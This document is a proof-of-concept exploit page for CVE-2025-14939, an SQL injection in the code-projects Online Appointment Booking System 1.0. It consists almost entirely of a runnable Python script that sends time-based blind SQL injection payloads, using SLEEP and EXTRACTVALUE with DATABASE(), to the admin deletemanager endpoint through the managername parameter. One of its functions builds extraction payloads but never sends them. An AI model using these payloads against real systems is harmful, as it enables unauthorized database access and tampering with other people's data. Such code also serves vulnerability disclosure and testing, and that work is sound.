CVE-2025-14939 code-projects在线预约系统SQL注入漏洞

import requests import sys # CVE-2025-14939 SQL Injection PoC # Target: code-projects Online Appointment Booking System 1.0 # Endpoint: /admin/deletemanager.php def exploit_sql_injection(target_url, manager_name): """ Exploit SQL injection in managername parameter This PoC demonstrates time-based blind SQL injection """ # Target endpoint url = f"{target_url}/admin/deletemanager.php" # Malicious payload - time-based blind SQL injection # Extract database version using SLEEP() function payload = f"{manager_name}'; SELECT SLEEP(5)-- " # Request data data = { 'managername': payload } print(f"[*] Target: {target_url}") print(f"[*] Sending malicious payload: {payload}") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Status code: {response.status_code}") return response except requests.exceptions.Timeout: print("[!] Request timed out - SQL injection successful (database slept)") return None except Exception as e: print(f"[!] Error: {e}") return None def extract_database_info(target_url): """ Extract database version and current database name """ url = f"{target_url}/admin/deletemanager.php" # Database version extraction payload version_payload = "admin' AND (SELECT * FROM (SELECT SLEEP(3))a)-- " # Current database name extraction dbname_payload = "admin' AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE()))-- " print(f"[*] Extracting database information...") return { 'version': version_payload, 'database': dbname_payload } if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <manager_name>") print(f"Example: python {sys.argv[0]} http://localhost admin") sys.exit(1) target = sys.argv[1] manager = sys.argv[2] exploit_sql_injection(target, manager)